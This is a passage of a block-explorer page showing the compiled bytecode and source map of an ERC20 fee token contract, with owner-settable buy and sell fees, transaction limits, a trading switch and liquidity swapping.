506103906109c4366004612527565b6115c6565b3480156109d557600080fd5b5061046b60185481565b6060600380546109ee90612688565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1a90612688565b8015610a675780601f10610a3c57610100808354040283529160200191610a67565b820191906000526020600020905b815481529060010190602001808311610a4a57829003601f168201915b5050505050905090565b6000610a7e3384846115fd565b5060015b92915050565b6005546001600160a01b03163314610abb5760405162461bcd60e51b8152600401610ab2906126c2565b60405180910390fd5b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610b105760405162461bcd60e51b8152600401610ab2906126c2565b60138390556014829055601581905580610b2a838561270d565b610b34919061270d565b601281905560051015610b895760405162461bcd60e51b815260206004820152601860248201527f53656c6c2066656573206d757374206265203c3d2033352e00000000000000006044820152606401610ab2565b505050565b6005546001600160a01b03163314610bb85760405162461bcd60e51b8152600401610ab2906126c2565b6007546001600160a01b0390811690831603610c3c5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ab2565b610c468282611721565b5050565b6000610c57848484611775565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610cdc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ab2565b610ce985338584036115fd565b506001949350505050565b6005546001600160a01b03163314610d1e5760405162461bcd60e51b8152600401610ab2906126c2565b600d8054911515620100000262ff000019909216919091179055565b6005546001600160a01b03163314610d645760405162461bcd60e51b8152600401610ab2906126c2565b633b9aca006103e8610d7560025490565b610d80906005612720565b610d8a9190612737565b610d949190612737565b811015610df25760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e352560d01b6064820152608401610ab2565b610e0081633b9aca00612720565b600a5550565b6005546001600160a01b03163314610e305760405162461bcd60e51b8152600401610ab2906126c2565b6009546040516001600160a01b03918216918316907f5e4caf256822bbf48088299a03cf1a23fb93dd4b7a163a803103673481f5f3f190600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610eb75760405162461bcd60e51b8152600401610ab2906126c2565b610ec16000611e68565b565b6005546000906001600160a01b03163314610ef05760405162461bcd60e51b8152600401610ab2906126c2565b50600d805460ff19169055600190565b6005546001600160a01b03163314610f2a5760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b038216610f805760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610ab2565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015610fc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610feb9190612759565b60405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390529192509084169063a9059cbb906044016020604051808303816000875af115801561103e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110629190612772565b50505050565b6005546001600160a01b031633146110925760405162461bcd60e51b8152600401610ab2906126c2565b600d805462ffff00191662010100179055565b6005546001600160a01b031633146110cf5760405162461bcd60e51b8152600401610ab2906126c2565b6008546040516001600160a01b03918216918316907f47ac97cd4ab0b967bcc8705051164721527b38b7f9d0e7cd01cf37a62ed23f6390600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6060600480546109ee90612688565b6000610a7e338484611775565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156111ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ab2565b6111d733858584036115fd565b5060019392505050565b6005546001600160a01b0316331461120b5760405162461bcd60e51b8152600401610ab2906126c2565b600f8390556010829055601181905580611225838561270d565b61122f919061270d565b600e81905560021015610b895760405162461bcd60e51b815260206004820152601760248201527f4275792066656573206d757374206265203c3d2033302e0000000000000000006044820152606401610ab2565b6005546001600160a01b031633146112ae5760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113375760405162461bcd60e51b8152600401610ab2906126c2565b633b9aca006103e861134860025490565b61135390600a612720565b61135d9190612737565b6113679190612737565b8110156113c55760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d6178486f6c64696e6773206c6f776572207468616044820152656e20312e302560d01b6064820152608401610ab2565b6113d381633b9aca00612720565b600c5550565b6005546000906001600160a01b031633146114065760405162461bcd60e51b8152600401610ab2906126c2565b620186a061141360025490565b61141e906001612720565b6114289190612737565b8210156114955760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ab2565b6103e86114a160025490565b6114ac906005612720565b6114b69190612737565b8211156115225760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ab2565b50600b55600190565b6005546001600160a01b031633146115555760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b0381166115ba5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab2565b6115c381611e68565b50565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a7e9185906115fd90869061270d565b6001600160a01b03831661165f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab2565b6001600160a01b0382166116c05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab2565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917f9a7a23d69e77f6f530abfa14ee34b4a9eca620bc2fa8a7e70358a6565de3f5a191a35050565b6001600160a01b03831661179b5760405162461bcd60e51b8152600401610ab29061278f565b6001600160a01b0382166117c15760405162461bcd60e51b8152600401610ab2906127d4565b806000036117d557610b8983836000611eba565b600d5460ff1615611b39576005546001600160a01b0384811691161480159061180c57506005546001600160a01b03838116911614155b801561182057506001600160a01b03821615155b801561183757506001600160a01b03821661dead14155b801561184d5750600754600160a01b900460ff16155b15611b3957600d54610100900460ff166118e5576001600160a01b03831660009081526019602052604090205460ff16806118a057506001600160a01b03821660009081526019602052604090205460ff165b6118e55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ab2565b6001600160a01b0383166000908152601b602052604090205460ff16801561192657506001600160a01b0382166000908152601a602052604090205460ff16155b15611a0157600a548111156119925760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b6064820152608401610ab2565b600c546001600160a01b0383166000908152602081905260409020546119b8908361270d565b11156119fc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ab2565b611b39565b6001600160a01b0382166000908152601b602052604090205460ff168015611a4257506001600160a01b0383166000908152601a602052604090205460ff16155b15611aaf57600a548111156119fc5760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b6064820152608401610ab2565b6001600160a01b0382166000908152601a602052604090205460ff16611b3957600c546001600160a01b038316600090815260208190526040902054611af5908361270d565b1115611b395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ab2565b30600090815260208190526040902054600b5481108015908190611b655750600d5462010000900460ff165b8015611b7b5750600754600160a01b900460ff16155b8015611ba057506001600160a01b0385166000908152601b602052604090205460ff16155b8015611bc557506001600160a01b03851660009081526019602052604090205460ff16155b8015611bea57506001600160a01b03841660009081526019602052604090205460ff16155b15611c18576007805460ff60a01b1916600160a01b179055611c0a61200e565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526019602052604090205460ff600160a01b909204821615911680611c6657506001600160a01b03851660009081526019602052604090205460ff165b15611c6f575060005b60008115611e54576001600160a01b0386166000908152601b602052604090205460ff1615611d595760125415611d5457611cc06064611cba6012548861226a90919063ffffffff16565b9061227d565b905060125460145482611cd39190612720565b611cdd9190612737565b60176000828254611cee919061270d565b9091555050601254601554611d039083612720565b611d0d9190612737565b60186000828254611d1e919061270d565b9091555050601254601354611d339083612720565b611d3d9190612737565b60166000828254611d4e919061270d565b90915550505b611e36565b6001600160a01b0387166000908152601b602052604090205460ff168015611d8357506000600e54115b15611e3657611da26064611cba600e548861226a90919063ffffffff16565b9050600e5460105482611db59190612720565b611dbf9190612737565b60176000828254611dd0919061270d565b9091555050600e54601154611de59083612720565b611def9190612737565b60186000828254611e00919061270d565b9091555050600e54600f54611e159083612720565b611e1f9190612737565b60166000828254611e30919061270d565b90915550505b8015611e4757611e47873083611eba565b611e518186612817565b94505b611e5f878787611eba565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316611ee05760405162461bcd60e51b8152600401610ab29061278f565b6001600160a01b038216611f065760405162461bcd60e51b8152600401610ab2906127d4565b6001600160a01b03831660009081526020819052604090205481811015611f7e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ab2565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611fb590849061270d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161200191815260200190565b60405180910390a3611062565b3060009081526020819052604081205490506000601854601654601754612035919061270d565b61203f919061270d565b9050600082158061204e575081155b1561205857505050565b600b54612066906014612720565b83111561207e57600b5461207b906014612720565b92505b6000600283601754866120919190612720565b61209b9190612737565b6120a59190612737565b905060006120b38286612817565b9050476120bf82612289565b60006120cb47836123e3565b905060006120f960026017546120e19190612737565b6120eb9089612817565b601654611cba90859061226a565b90506000612127600260175461210f9190612737565b612119908a612817565b601854611cba90869061226a565b90506000816121368486612817565b6121409190612817565b60006017819055601681905560188190556009546040519293506001600160a01b031691849181818185875af1925050503d806000811461219d576040519150601f19603f3d011682016040523d82523d6000602084013e6121a2565b606091505b509098505086158015906121b65750600081115b15612209576121c587826123ef565b601754604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6009546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612256576040519150601f19603f3d011682016040523d82523d6000602084013e61225b565b606091505b50505050505050505050505050565b60006122768284612720565b9392505050565b60006122768284612737565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be576122be61282a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061233b9190612840565b8160018151811061234e5761234e61282a565b6001600160a01b03928316602091820292909201015260065461237491309116846115fd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ad90859060009086903090429060040161285d565b600060405180830381600087803b1580156123c757600080fd5b505af11580156123db573d6000803e3d6000fd5b505050505050565b60006122768284612817565b6006546124079030906001600160a01b0316846115fd565b6006546001600160a01b031663f305d7198230856000806124306005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612498573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124bd91906128ce565b5050505050565b600060208083528351808285015260005b818110156124f1578581018301518582016040015282016124d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115c357600080fd5b6000806040838503121561253a57600080fd5b823561254581612512565b946020939093013593505050565b80151581146115c357600080fd5b6000806040838503121561257457600080fd5b823561257f81612512565b9150602083013561258f81612553565b809150509250929050565b6000806000606084860312156125af57600080fd5b505081359360208301359350604090920135919050565b6000806000606084860312156125db57600080fd5b83356125e681612512565b925060208401356125f681612512565b929592945050506040919091013590565b60006020828403121561261957600080fd5b813561227681612553565b60006020828403121561263657600080fd5b813561227681612512565b60006020828403121561265357600080fd5b5035919050565b6000806040838503121561266d57600080fd5b823561267881612512565b9150602083013561258f81612512565b600181811c9082168061269c57607f821691505b6020821081036126bc57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a8257610a826126f7565b8082028115828204841417610a8257610a826126f7565b60008261275457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561276b57600080fd5b5051919050565b60006020828403121561278457600080fd5b815161227681612553565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610a8257610a826126f7565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561285257600080fd5b815161227681612512565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128ad5784516001600160a01b031683529383019391830191600101612888565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156128e357600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212203ec56d235e6395bffd90384d41f62607c9d050eb4db66a53cee7c8150f0ce31564736f6c63430008150033

Deployed Bytecode Sourcemap

14792:13949:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2663:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3562:169;;;;;;;;;;-1:-1:-1;3562:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3562:169:0;1023:187:1;15089:46:0;;;;;;;;;;-1:-1:-1;15089:46:0;;;;-1:-1:-1;;;;;15089:46:0;;;;;;-1:-1:-1;;;;;1379:32:1;;;1361:51;;1349:2;1334:18;15089:46:0;1215:203:1;18679:156:0;;;;;;;;;;-1:-1:-1;18679:156:0;;;;;:::i;:::-;;:::i;:::-;;19349:397;;;;;;;;;;-1:-1:-1;19349:397:0;;;;;:::i;:::-;;:::i;19940:302::-;;;;;;;;;;-1:-1:-1;19940:302:0;;;;;:::i;:::-;;:::i;14868:41::-;;;;;;;;;;-1:-1:-1;14868:41:0;;;;-1:-1:-1;;;;;14868:41:0;;;2977:108;;;;;;;;;;-1:-1:-1;3065:12:0;;2977:108;;;2635:25:1;;;2623:2;2608:18;2977:108:0;2489:177:1;3737:488:0;;;;;;;;;;-1:-1:-1;3737:488:0;;;;;:::i;:::-;;:::i;14951:53::-;;;;;;;;;;;;14997:6;14951:53;;2879:92;;;;;;;;;;-1:-1:-1;2879:92:0;;2962:1;3274:36:1;;3262:2;3247:18;2879:92:0;3132:184:1;18841:106:0;;;;;;;;;;-1:-1:-1;18841:106:0;;;;;:::i;:::-;;:::i;14916:28::-;;;;;;;;;;-1:-1:-1;14916:28:0;;;;-1:-1:-1;;;;;14916:28:0;;;15246:33;;;;;;;;;;-1:-1:-1;15246:33:0;;;;;;;;15286:34;;;;;;;;;;-1:-1:-1;15286:34:0;;;;;;;;;;;20929:126;;;;;;;;;;-1:-1:-1;20929:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;21019:28:0;20995:4;21019:28;;;:19;:28;;;;;;;;;20929:126;15175:31;;;;;;;;;;;;;;;;21570:266;;;;;;;;;;-1:-1:-1;21570:266:0;;;;;:::i;:::-;;:::i;15327:31::-;;;;;;;;;;-1:-1:-1;15327:31:0;;;;;;;;;;;20678:245;;;;;;;;;;-1:-1:-1;20678:245:0;;;;;:::i;:::-;;:::i;15431:23::-;;;;;;;;;;;;;;;;3091:127;;;;;;;;;;-1:-1:-1;3091:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3192:18:0;3165:7;3192:18;;;;;;;;;;;;3091:127;826:103;;;;;;;;;;;;;:::i;28490:121::-;;;;;;;;;;;;;:::i;28150:299::-;;;;;;;;;;-1:-1:-1;28150:299:0;;;;;:::i;:::-;;:::i;15461:25::-;;;;;;;;;;;;;;;;28623:113;;;;;;;;;;;;;:::i;15142:26::-;;;;;;;;;;;;;;;;607:87;;;;;;;;;;-1:-1:-1;680:6:0;;-1:-1:-1;;;;;680:6:0;607:87;;15365:28;;;;;;;;;;;;;;;;20440:232;;;;;;;;;;-1:-1:-1;20440:232:0;;;;;:::i;:::-;;:::i;2769:104::-;;;;;;;;;;;;;:::i;15400:24::-;;;;;;;;;;;;;;;;15625:27;;;;;;;;;;;;;;;;15529:25;;;;;;;;;;;;;;;;3224:175;;;;;;;;;;-1:-1:-1;3224:175:0;;;;;:::i;:::-;;:::i;4454:418::-;;;;;;;;;;-1:-1:-1;4454:418:0;;;;;:::i;:::-;;:::i;431:21::-;;;;;;;;;;-1:-1:-1;431:21:0;;;;-1:-1:-1;;;;;431:21:0;;;18953:390;;;;;;;;;;-1:-1:-1;18953:390:0;;;;;:::i;:::-;;:::i;15850:57::-;;;;;;;;;;-1:-1:-1;15850:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19752:182;;;;;;;;;;-1:-1:-1;19752:182:0;;;;;:::i;:::-;;:::i;15041:41::-;;;;;;;;;;-1:-1:-1;15041:41:0;;;;-1:-1:-1;;;;;15041:41:0;;;15493:29;;;;;;;;;;;;;;;;15561:24;;;;;;;;;;;;;;;;15659:26;;;;;;;;;;;;;;;;15786:57;;;;;;;;;;-1:-1:-1;15786:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21842:266;;;;;;;;;;-1:-1:-1;21842:266:0;;;;;:::i;:::-;;:::i;3405:151::-;;;;;;;;;;-1:-1:-1;3405:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3521:18:0;;;3494:7;3521:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3405:151;21063:501;;;;;;;;;;-1:-1:-1;21063:501:0;;;;;:::i;:::-;;:::i;15213:26::-;;;;;;;;;;;;;;;;15592;;;;;;;;;;;;;;;;935:201;;;;;;;;;;-1:-1:-1;935:201:0;;;;;:::i;:::-;;:::i;4231:217::-;;;;;;;;;;-1:-1:-1;4231:217:0;;;;;:::i;:::-;;:::i;15692:28::-;;;;;;;;;;;;;;;;2663:100;2717:13;2750:5;2743:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2663:100;:::o;3562:169::-;3645:4;3662:39;257:10;3685:7;3694:6;3662:8;:39::i;:::-;-1:-1:-1;3719:4:0;3562:169;;;;;:::o;18679:156::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;18787:33:0;;;::::1;;::::0;;;:25:::1;:33;::::0;;;;:40;;-1:-1:-1;;18787:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18679:156::o;19349:397::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;19514:10:::1;:24:::0;;;19549:9:::1;:25:::0;;;19585:11:::1;:22:::0;;;19599:8;19635:22:::1;19561:13:::0;19527:11;19635:22:::1;:::i;:::-;:36;;;;:::i;:::-;19618:14;:53:::0;;;19708:1:::1;-1:-1:-1::0;19690:19:0::1;19682:56;;;::::0;-1:-1:-1;;;19682:56:0;;5607:2:1;19682:56:0::1;::::0;::::1;5589:21:1::0;5646:2;5626:18;;;5619:30;5685:26;5665:18;;;5658:54;5729:18;;19682:56:0::1;5405:348:1::0;19682:56:0::1;19349:397:::0;;;:::o;19940:302::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;20084:13:::1;::::0;-1:-1:-1;;;;;20084:13:0;;::::1;20076:21:::0;;::::1;::::0;20054:128:::1;;;::::0;-1:-1:-1;;;20054:128:0;;5960:2:1;20054:128:0::1;::::0;::::1;5942:21:1::0;5999:2;5979:18;;;5972:30;6038:34;6018:18;;;6011:62;6109:27;6089:18;;;6082:55;6154:19;;20054:128:0::1;5758:421:1::0;20054:128:0::1;20193:41;20222:4;20228:5;20193:28;:41::i;:::-;19940:302:::0;;:::o;3737:488::-;3877:4;3894:36;3904:6;3912:9;3923:6;3894:9;:36::i;:::-;-1:-1:-1;;;;;3968:19:0;;3941:24;3968:19;;;:11;:19;;;;;;;;257:10;3968:33;;;;;;;;4020:26;;;;4012:79;;;;-1:-1:-1;;;4012:79:0;;6386:2:1;4012:79:0;;;6368:21:1;6425:2;6405:18;;;6398:30;6464:34;6444:18;;;6437:62;-1:-1:-1;;;6515:18:1;;;6508:38;6563:19;;4012:79:0;6184:404:1;4012:79:0;4127:57;4136:6;257:10;4177:6;4158:16;:25;4127:8;:57::i;:::-;-1:-1:-1;4213:4:0;;3737:488;-1:-1:-1;;;;3737:488:0:o;18841:106::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;18918:11:::1;:21:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;18918:21:0;;::::1;::::0;;;::::1;::::0;;18841:106::o;21570:266::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;21718:3:::1;21710:4;21689:13;3065:12:::0;;;2977:108;21689:13:::1;:17;::::0;21705:1:::1;21689:17;:::i;:::-;21688:26;;;;:::i;:::-;21687:34;;;;:::i;:::-;21677:6;:44;;21655:132;;;::::0;-1:-1:-1;;;21655:132:0;;7190:2:1;21655:132:0::1;::::0;::::1;7172:21:1::0;7229:2;7209:18;;;7202:30;7268:34;7248:18;;;7241:62;-1:-1:-1;;;7319:18:1;;;7312:36;7365:19;;21655:132:0::1;6988:402:1::0;21655:132:0::1;21812:16;:6:::0;21822:5:::1;21812:16;:::i;:::-;21798:11;:30:::0;-1:-1:-1;21570:266:0:o;20678:245::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;20829:31:::1;::::0;20779:82:::1;::::0;-1:-1:-1;;;;;20829:31:0;;::::1;::::0;20779:82;::::1;::::0;::::1;::::0;20829:31:::1;::::0;20779:82:::1;20872:31;:43:::0;;-1:-1:-1;;;;;;20872:43:0::1;-1:-1:-1::0;;;;;20872:43:0;;;::::1;::::0;;;::::1;::::0;;20678:245::o;826:103::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;891:30:::1;918:1;891:18;:30::i;:::-;826:103::o:0;28490:121::-;680:6;;28542:4;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;-1:-1:-1;28559:14:0::1;:22:::0;;-1:-1:-1;;28559:22:0::1;::::0;;;28490:121;:::o;28150:299::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;28256:20:0;::::1;28248:59;;;::::0;-1:-1:-1;;;28248:59:0;;7597:2:1;28248:59:0::1;::::0;::::1;7579:21:1::0;7636:2;7616:18;;;7609:30;7675:28;7655:18;;;7648:56;7721:18;;28248:59:0::1;7395:350:1::0;28248:59:0::1;28345:39;::::0;-1:-1:-1;;;28345:39:0;;28378:4:::1;28345:39;::::0;::::1;1361:51:1::0;28318:24:0::1;::::0;-1:-1:-1;;;;;28345:24:0;::::1;::::0;::::1;::::0;1334:18:1;;28345:39:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28395:46;::::0;-1:-1:-1;;;28395:46:0;;-1:-1:-1;;;;;8131:32:1;;;28395:46:0::1;::::0;::::1;8113:51:1::0;8180:18;;;8173:34;;;28318:66:0;;-1:-1:-1;28395:23:0;;::::1;::::0;::::1;::::0;8086:18:1;;28395:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28237:212;28150:299:::0;;:::o;28623:113::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;28678:14:::1;:21:::0;;-1:-1:-1;;28710:18:0;;;;;28623:113::o;20440:232::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;20582:26:::1;::::0;20543:66:::1;::::0;-1:-1:-1;;;;;20582:26:0;;::::1;::::0;20543:66;::::1;::::0;::::1;::::0;20582:26:::1;::::0;20543:66:::1;20620:26;:44:::0;;-1:-1:-1;;;;;;20620:44:0::1;-1:-1:-1::0;;;;;20620:44:0;;;::::1;::::0;;;::::1;::::0;;20440:232::o;2769:104::-;2825:13;2858:7;2851:14;;;;;:::i;3224:175::-;3310:4;3327:42;257:10;3351:9;3362:6;3327:9;:42::i;4454:418::-;257:10;4554:4;4598:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4598:34:0;;;;;;;;;;4651:35;;;;4643:85;;;;-1:-1:-1;;;4643:85:0;;8670:2:1;4643:85:0;;;8652:21:1;8709:2;8689:18;;;8682:30;8748:34;8728:18;;;8721:62;-1:-1:-1;;;8799:18:1;;;8792:35;8844:19;;4643:85:0;8468:401:1;4643:85:0;4764:67;257:10;4787:7;4815:15;4796:16;:34;4764:8;:67::i;:::-;-1:-1:-1;4860:4:0;;4454:418;-1:-1:-1;;;4454:418:0:o;18953:390::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;19120:9:::1;:23:::0;;;19154:8:::1;:24:::0;;;19189:10:::1;:21:::0;;;19202:8;19237:20:::1;19165:13:::0;19132:11;19237:20:::1;:::i;:::-;:33;;;;:::i;:::-;19221:13;:49:::0;;;19306:1:::1;-1:-1:-1::0;19289:18:0::1;19281:54;;;::::0;-1:-1:-1;;;19281:54:0;;9076:2:1;19281:54:0::1;::::0;::::1;9058:21:1::0;9115:2;9095:18;;;9088:30;9154:25;9134:18;;;9127:53;9197:18;;19281:54:0::1;8874:347:1::0;19752:182:0;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19837:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;19837:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;19892:34;;1163:41:1;;;19892:34:0::1;::::0;1136:18:1;19892:34:0::1;;;;;;;19752:182:::0;;:::o;21842:266::-;680:6;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;21990:3:::1;21982:4;21960:13;3065:12:::0;;;2977:108;21960:13:::1;:18;::::0;21976:2:::1;21960:18;:::i;:::-;21959:27;;;;:::i;:::-;21958:35;;;;:::i;:::-;21948:6;:45;;21926:133;;;::::0;-1:-1:-1;;;21926:133:0;;9428:2:1;21926:133:0::1;::::0;::::1;9410:21:1::0;9467:2;9447:18;;;9440:30;9506:34;9486:18;;;9479:62;-1:-1:-1;;;9557:18:1;;;9550:36;9603:19;;21926:133:0::1;9226:402:1::0;21926:133:0::1;22084:16;:6:::0;22094:5:::1;22084:16;:::i;:::-;22070:11;:30:::0;-1:-1:-1;21842:266:0:o;21063:501::-;680:6;;21177:4;;-1:-1:-1;;;;;680:6:0;257:10;740:23;732:68;;;;-1:-1:-1;;;732:68:0;;;;;;;:::i;:::-;21256:6:::1;21235:13;3065:12:::0;;;2977:108;21235:13:::1;:17;::::0;21251:1:::1;21235:17;:::i;:::-;21234:28;;;;:::i;:::-;21221:9;:41;;21199:144;;;::::0;